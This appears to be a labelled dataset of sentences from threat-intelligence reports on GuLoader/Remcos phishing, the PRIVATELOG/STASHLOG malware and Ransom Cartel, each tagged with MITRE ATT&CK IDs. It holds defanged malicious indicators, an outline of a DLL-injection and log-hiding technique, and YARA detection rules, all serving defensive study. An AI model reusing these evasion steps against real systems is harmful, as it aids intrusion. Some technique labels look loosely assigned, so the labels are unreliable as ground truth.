{"sentence": "The initial link then redirects the target to a ZIP file hosted on legitimate file-sharing service spaces[.]hightail[.]com.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The ZIP file contains LNK files that act as Windows shortcuts to other files.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The LNK files make web requests to actor-controlled domains and IP addresses to download additional malicious files such as MSI files containing DLLs or executables, VBScript files containing PowerShell commands, or deceptive PDFs.", "labels": ["T1105"], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Unpacked file names referencing tax documents in the malware In some cases, GuLoader was used to execute shellcode and subsequently download Remcos on the target system.", "labels": ["T1027", "T1105"], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "GuLoader is a malicious downloader that has been used by many different actors to deliver a wide variety of malware, including several RATs such as Remcos, through phishing campaigns since it was first observed in the wild in December 2019.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The downloader uses several techniques to evade analysis and detection such as using legitimate file-sharing sites and cloud hosting services for payload storage and delivery as well as encryption and obfuscation of the GuLoader shellcode and payloads.", "labels": ["T1027"], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Successful delivery of a Remcos payload could provide an attacker the opportunity to take control of the target device to steal information and/or move laterally through the target network.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Tax Day-themed Remcos attack chain We continue to learn from these campaigns to improve how we protect customers.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Recommendations and detections Microsoft recommends the following mitigations to reduce the impact of this threat: Block JavaScript or VBScript from launching downloaded executable content Block executable files from running unless they meet a prevalence, age, or trusted list criterion Enable Microsoft Defender Antivirus scanning of downloaded files and attachments Enable Microsoft Defender Antivirus real-time behavior monitoring Enable cloud-delivered protection Detection details Microsoft Defender for Office 365 Microsoft Defender for Office 365 detects phishing emails associated with the campaign discussed in this blog.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Microsoft Defender Antivirus Microsoft Defender Antivirus, on by default on Windows machines, detects threat components as the following malware: Backdoor:Win32/Remcos.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "GA!MTB Microsoft Defender for Endpoint Alerts with the following titles in the security center can indicate threat activity on your network: ‘Remcos’ backdoor Suspicious ‘Remcos’ behavior ‘Remcos’ malware ‘Guloader’ malware Microsoft Sentinel Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Domain:uymm[.]orgURL:https[:]//uymm[.]org/roman.msiSHA-256 hashes:23597910ec60cf8b97144447c5cddd2e657d09e2f2008d53a3834b6058f36a4195a2d34db66ce4507d05ac33bea3bdc054860d9d97e91bdc2ce7ce689ae06e9fac55905e6f5a2ab166f9a2ea7d1f4f68f5660f39b5c28b7746df1e9db6dd4430 References: 2021 Top Malware Strains | Cybersecurity and Infrastructure Security Agency (CISA) GuLoader: A Popular New VB6 Downloader that Abuses Cloud Services | Proofpoint US GuLoader: Peering Into a Shellcode-based Downloader | CrowdStrike The post Threat actors strive to cause Tax Day headaches appeared first on Microsoft Security Blog.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The Mandiant Advanced Practices team recently discovered a new malware family we have named PRIVATELOG and its installer, STASHLOG.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "In this post, we will share a novel and especially interesting technique the samples use to hide data, along with detailed analysis of both files that was performed with the support of FLARE analysts.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "We will also share sample detection rules, and hunting recommendations to find similar activity in your environment.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Mandiant has yet to observe PRIVATELOG or STASHLOG in any customer environments or to recover any second-stage payloads launched by PRIVATELOG.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This may indicate malware that is still in development, the work of a researcher, or targeted activity.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "CLFS and Transaction Files PRIVATELOG and STASHLOG rely on the Common Log File System (CLFS) to hide a second stage payload in registry transaction files.", "labels": ["T1112"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It provides applications with API functions—available in clfsw32.dll—to create, store and read log data.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This is similar in nature to malware which may rely, for example, on the Windows Registry or NTFS Extended Attributes to hide their data, which also provide locations to store and retrieve binary data with the Windows API.", "labels": ["T1106", "T1112"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "In Microsoft Windows, CLFS is notably used by the Kernel Transaction Manager (KTM) for both Transactional NTFS (TxF) and Transactional Registry (TxR) operations.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "These allow applications to perform a number of changes on the filesystem or registry, all grouped in a single transaction that can be committed or rolled back.", "labels": ["T1112"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "For example, to open a registry key in a transaction, the functions RegCreateKeyTransacted(), RegOpenKeyTransacted(), and RegDeleteKeyTransacted() are available.", "labels": ["T1012"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Registry transactions are stored in dedicated files with the following naming scheme: <hive><GUID>.TMContainer<number>.regtrans-ms or <hive><GUID>.TxR.<number>.regtrans-ms.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "These are CLFS containers that are referenced in a master .blf", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "file that only contains metadata and can be found in various locations including user profile directories.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Registry transaction forensics were briefly explored in a previous blog post.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The CLFS master and container file formats are mostly undocumented; however, previous research is available on GitHub.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Malware Obfuscation As with many malware families, most of the strings used by PRIVATELOG and STASHLOG are obfuscated.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Yet the technique observed here is uncommon and relies on XOR’ing each byte with a hard-coded byte inline, with no loops.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Effectively, each string is therefore encrypted with a unique byte stream.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 1: Sample string deobfuscation for \"PrintNotify\" Interestingly, some of the deobfuscated strings from the installer are used for logging error messages and have spelling errors or typos such as: Log index=%d, data border exceed bounday.\\n Interal data hash mismatch.\\n Log buffer size=%u too small, expect aleast %u bytes.\\n Introducing STASHLOG In addition to containing obfuscated strings, the installer’s code is protected using various control flow obfuscation techniques that make static analysis cumbersome.", "labels": ["T1027", "T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 2 is a graph overview of the installer’s main() function demonstrating the effects of the control flow obfuscation.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 2: Graph view of main() STASHLOG has two different modes of operation: Without any arguments, during which it will prepare the environment With a single argument, which is a file that should be hidden in a CLFS file Preparing the Environment Executed without arguments, the installer prints two values to the console: The GUID returned from the registry value of HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGUID A 56-byte value derived from a randomly generated GUID with CoCreateGUID() Figure 3: Sample console output The 56-byte value is a concatenation of the random GUID, its SHA1 hash, and the SHA1 hash of the previous values.", "labels": ["T1012", "T1564.001"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "So: GUID+sha1(GUID)+sha1(GUID+sha1(GUID)).", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The randomly generated GUID is stored as a string in the GlobalAtom table, prefixed with win::.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This table resides in memory and contains strings with their identifiers available to all applications.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "If a string prefixed with win:: already exists when the installer is executed, then the pre-existing GUID in the GlobalAtom table is reused.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Effectively, when executed with no arguments, the installer generates and prints out encryption keys that the actor uses to pre-encrypt the payload before it is written to disk.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Stashing the Payload When launched with an argument, the installer opens and decrypts the contents of the file passed as an argument.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It verifies that the file is suffixed by its SHA1 hash, and then generates the same 56-byte value using the stored GlobalAtom GUID string in memory.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The 56-byte value is SHA1 hashed again and the first 16-bytes form the initialization vector (IV), while the key is the 16-byte MachineGUID value from the host’s registry.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The encryption algorithm is HC-128, which is rarely seen used in malware.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The expected decrypted file contents have a 40-byte header: struct payloadHeader { DWORD magic; DWORD minWinVer; DWORD maxWinVer; DWORD totalSize; WORD numBlocks; WORD unknown; BYTE sha1sum[20]; } In the analyzed installer, the “magic” value is referred to as a checksum; however, STASHLOG verifies this value matches the hard-coded value 0x00686365.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The number of blocks, specified at offset 16, must be between 2 and 5.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The malware also checks that the operating system version is within a lower and upper boundary and that the SHA1 hash of the decrypted data matches the payload header value at offset 20.", "labels": ["T1027", "T1082", "T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Following the payload header, the malware expects blocks of encrypted data with 8-byte headers.", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Each block header has the following structure: struct blockHeader { DWORD magic; DWORD blockSize; } Once the malware has checked and validated the structure of the payload, it searches for .blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.", "labels": ["T1083"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "In practice, the malware should typically find the file used for registry transaction logs: C:\\Users\\Default\\NTUSER.DAT<GUID>.TM.blf If a matching .blf file is indeed found, it is opened with the CreateLogFile() API from clfsw32.dll.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This function opens CLFS logs and expects a file name in the following format, without the .blf extension: log:<LogName>[::<LogStreamName>] The log file is reset using the CloseAndResetLogFile() function and will be opened again to insert the data.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Before inserting data into the CLFS log file, the malware decrypts each block using HC-128.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The key is the 16-byte atom GUID and the IV is the first 16-bytes of the atom GUID SHA1 hash.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Each block is then re-encrypted with the new key material as follows: The encryption key is the 16-byte GUID from GetVolumeNameForVolumeMountPointW().", "labels": ["T1027"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The IV is the first 16-bytes of the SHA1 hash of the concatenated GUIDs from: GetVolumeNameForVolumeMountPointW() The registry value HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGUID The contents are written to the CLFS log file using the clfsw32.dll API function ReserveAndAppendLog().", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The payload header is written to the log file as the first entry, followed by separate entries for each block.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The data is effectively stored in the first container file for the registry transaction log: C:\\Users\\Default\\NTUSER.DAT<GUID>.TMContainer00000000000000000001.regtrans-ms.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Onto PRIVATELOG The PRIVATELOG sample recovered by Mandiant is an un-obfuscated 64-bit DLL named prntvpt.dll.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It contains exports, which mimic those of legitimate prntvpt.dll files, although the exports have no functionality.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "PRIVATELOG expects to be loaded from PrintConfig.dll, which is the main DLL of a service named PrintNotify, via DLL search order hijacking.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The malicious code is executed at the DLL’s entry point.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It starts by verifying the command-line arguments of the process it is running in and expects to be running under svchost.exe -k print.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "If this matches, the malware resolves the function address for the ServiceMain export function of PrintConfig.dll, which is the service entry point of the service using this command line.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This function is patched using Microsoft Detours—a publicly available library used for instrumenting Win32 functions—so that the execution flow appears to happen in the legitimate service DLL.", "labels": ["T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The patched ServiceMain function is where PRIVATELOG executes most of its functionality.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Similarly to STASHLOG, PRIVATELOG starts by enumerating *.blf files in the default user’s profile directory and uses the .blf file with the oldest creation date timestamp.", "labels": ["T1083"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "If a matching .blf file is found, PRIVATELOG opens it with the clfsw32.dll function CreateLogFile().", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The log file is then marshalled and parsed using other functions specific to CLFS, such as CreateLogMarshallingArea(), ReadLogFile() and ReadNextLogFile().", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The malware expects to find specific entries which match our analysis of the installer.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "PRIVATELOG expects the first log entry to have the following format:", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "A size greater than 40 (payload header size)", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "A WORD value of 2, 3, 4, or 5 at offset 16 (number of blocks)", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "If the first entry matches the aforementioned criteria, then subsequent records are read until one has an 8-byte header with the following: Its first DWORD must equal 2 (assumed magic value)", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Its second DWORD must be less than the entry’s size minus the header.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This value equals the size of the payload which will be decrypted.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Once the expected log entry is found, its contents are decrypted using the HC-128 encryption algorithm.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The decryption key and IV are generated using the same unique host properties that were used by STASHLOG.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "It is worth noting that PRIVATELOG only decrypts the first matching block and that at least 2 to 5 blocks are expected to be inserted by STASHLOG.", "labels": ["T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "PRIVATELOG finally uses a rarely seen technique to execute the DLL payload, which this time relies on NTFS transactions.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The injection process is similar to Phantom DLL hollowing and is described as follows: Open a transacted handle to a copied file via the API CreateFileTransactedA()", "labels": ["T1055", "T1106"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "In the sample analyzed by Mandiant, the file used for the transaction is a copy of the legitimate binary C:\\Windows\\System32\\dbghelp.dll, which is copied to C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\dbghelp.dll.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Overwrite the transacted file with the decrypted payload contents Create a section backed by the transacted file with SEC_IMAGE attributes via the API NtCreateSection() Map a view of the newly created section This implicitly loads the transacted file data to some degree.", "labels": ["T1106", "T1140"], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "The PE header is validated, and sections mapped into memory; however, it does not fix section permissions or resolve imports.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Fix the section permissions Resolve the imports in the Import Table Execute the payload's entry point Find and execute the export function named SvcMain Hunting for PRIVATELOG Container Sample Figure 4 shows a fabricated container file representing a sample expected log file created by STASHLOG and loaded by PRIVATELOG.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 4: Example log file created by STASHLOG YARA Rules Mandiant created YARA rules to hunt for PRIVATELOG and STASHLOG as well as possible variants based on various methodologies and unique strings that they use.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Rules to detect CLFS containers matching PRIVATELOG structures or containing encrypted data are also provided.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "These rules should be tested thoroughly before they are run in a production environment.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "import \"math\" import \"pe\" rule HUNTING_Win_PRIVATELOG_CLFS { meta: author = \"adrien.bataille@mandiant.com\" description = \"This rule looks for CLFS containers containing possible data used by PRIVATELOG.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "As this rule may loop on file content, preferably use on regtrans-ms files only or with caution.\"", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "condition: filesize < 100MB and filesize >= 512KB and uint16(0) == 0x0015 // signature and uint8(2) !", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "// fixup value upper byte and uint8(3) == 0 // always 0 and uint16(4) == uint16(6) and uint16(4) !", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "num sectors and uint32(8)", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0 // always 0 and uint32(16) == 1 // always 1 and uint32(20) == 0 // always 0 and uint32(40)", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x70 // size of record header // size of data at least 0x28 for first record and uint32(0x70+0x18) - 0x28 >= 0x28 // payloadHeader.numblocks (payloadHeader at 0x70+uint16(0x70+0x22)) and (uint16(0x70+uint16(0x70+0x22)+0x10) == 0x2 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x3 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x4 or uint16(0x70+uint16(0x70+0x22)+0x10) == 0x5) // this is a size, assume it is less than our filesize and uint32(0x70+uint16(0x70+0x22)+0xC) < filesize // confirm malware using 2 different methods and ( // look for hardcoded magic in first log record uint32(0x70+uint16(0x70+0x22))", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x00686365 or // loop through each possible sector to look for a blockheader struct for any i in (0 .. (filesize \\ 512) - 1): ( // look for record header, num sectors and size of record uint16(i*512)==0x0015 and uint16(i*512+4) == uint16(i*512+6) and uint16(i*512+4) !", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "and uint32(i*512+40) == 0x70 and uint32(i*512+0x88) >", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "0x28 and uint32(i*512+0x88) < filesize and // look for magic and blockheader.blocksize in payload uint32(i*512+0x70+uint16(i*512+0x70+0x22))", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 2 and uint32(i*512+0x70+uint16(i*512+0x70+0x22)+4) == uint32(i*512+0x88)-0x30 ) ) } rule HUNTING_Win_CLFS_Entropy { meta: author = \"adrien.bataille@mandiant.com\" description = \"This rule looks for CLFS containers with records containing high entropy.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x70 // size of record header and for any i in (0 .. (filesize \\ 512) - 1) : ( // look for record header, num sectors and size of record uint16(i*512)==0x0015 and uint16(i*512+4)", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== uint16(i*512+6) and uint16(i*512+4) !", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "and uint32(i*512+40) == 0x70 and uint32(i*512+0x88) > 0x200 and uint32(i*512+0x88) < filesize // look for high entropy in the record[8:] to account for possible block header and math.entropy(i*512+0x70+uint16(i*512+0x70+0x22)+8, i*512+0x70+uint16(i*512+0x70+0x22)+uint32(i*512+0x88)-0x28) > 7.95 ) } rule HUNTING_Win_PRIVATELOG_1_strict { meta: author = \"adrien.bataille@mandiant.com\" description = \"Detects PRIVATELOG and STASHLOG variants based on strings and imports\" md5 = \"91b08896fbda9edb8b6f93a6bc811ec6\" strings: $hvid = \"Global\\\\HVID_\" ascii $apci = \"Global\\\\APCI#\" wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x00004550 and ( all of them and ( pe.imports(\"clfsw32.dll\",\"CreateLogMarshallingArea\") and pe.imports(\"kernel32.dll\", \"VirtualProtect\") and pe.imports(\"ktmw32.dll\", \"CreateTransaction\") and pe.imports(\"kernel32.dll\", \"CreateFileTransactedA\") ) ) } rule HUNTING_Win_PRIVATELOG_2_notstrict { meta: author = \"adrien.bataille@mandiant.com\" description = \"Detects possible PRIVATELOG and STASHLOG variants based on strings or imports.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This rule is purposefully loose so there may be a higher FP rate.\"", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "md5 = \"91b08896fbda9edb8b6f93a6bc811ec6\" strings: $hvid = \"Global\\\\HVID_\" ascii $apci = \"Global\\\\APCI#\" wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x00004550 and ( any of them or ( pe.imports(\"clfsw32.dll\",\"CreateLogMarshallingArea\") and pe.imports(\"kernel32.dll\", \"VirtualProtect\") and pe.imports(\"ktmw32.dll\", \"CreateTransaction\") and pe.imports(\"kernel32.dll\", \"CreateFileTransactedA\") ) ) } rule HUNTING_Win_hijack_prntvpt { meta: author = \"adrien.bataille@mandiant.com\" description = \"Detects possible hijack of legitimate prntvpt.dll based on missing export\" md5 = \"91b08896fbda9edb8b6f93a6bc811ec6\" condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "== 0x00004550 and pe.exports(\"PTOpenProviderEx\") and not pe.exports(\"MergeAndValidatePrintTicketThunk\") } EDR / SIEM To complement static hunting with Yara, Mandiant also recommends hunting for similar indicators of compromise in “process”, “imageload” or “filewrite” events of typical EDR logs.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "These would cover cases where PRIVATELOG may resolve imports dynamically with LoadLibrary() and GetProcAddress(), versus static imports in currently known samples.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Figure 5 identifies key modules loaded by PRIVATELOG that may be used to create hunting queries: ktmw32.dll, dbghelp.dll and clfsw32.dll. Figure 5: Memory view of a running PRIVATELOG process", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Example hunting queries include: Any process writing or loading C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\dbghelp.dll Any process loading both clfsw32.dll and ktmw32.dll svchost.exe -k print loading clfsw32.dll or ktmw32.dll Any svchost.exe process loading clfsw32.dll Concerning svchost.exe, although we have observed many cases of other svchost.exe processes loading ktmw32.dll, we have only rarely observed svchost.exe processes loading clfsw32.dll.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "File writes to .regtrans-ms or .blf files are fairly common, however stacking the process name and file paths may also provide good results.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "For example, file writes to the registry transaction file for the default user are likely to be uncommon.", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "Hashes PRIVATELOG Prntvpt.dll: 1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c STASHLOG Shiver.exe: 720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397 MITRE ATT&ACK Techniques ID Technique T1012 Query Registry T1564 Hide Artifacts T1574 Hijack Execution Flow T1574.002 DLL Side-Loading T1055.013 Process Injection: Process Doppelgänging FireEye Product Detections Platform(s) Detection Name Network Security Email Security Detection On Demand Malware Analysis File Protect FE_APT_Loader_Win_PRIVATELOG FE_APT_Installer_Win_STASHLOG HX Security Generic.mg.0c605276ff21b515", "labels": [], "doc_title": "Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth"}
{"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary Ransom Cartel is ransomware as a service (RaaS) that surfaced in mid-December 2021.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This ransomware performs double extortion attacks and exhibits several similarities and technical overlaps with REvil ransomware.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil ransomware disappeared just a couple of months before Ransom Cartel surfaced and just one month after 14 of its alleged members were arrested in Russia.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
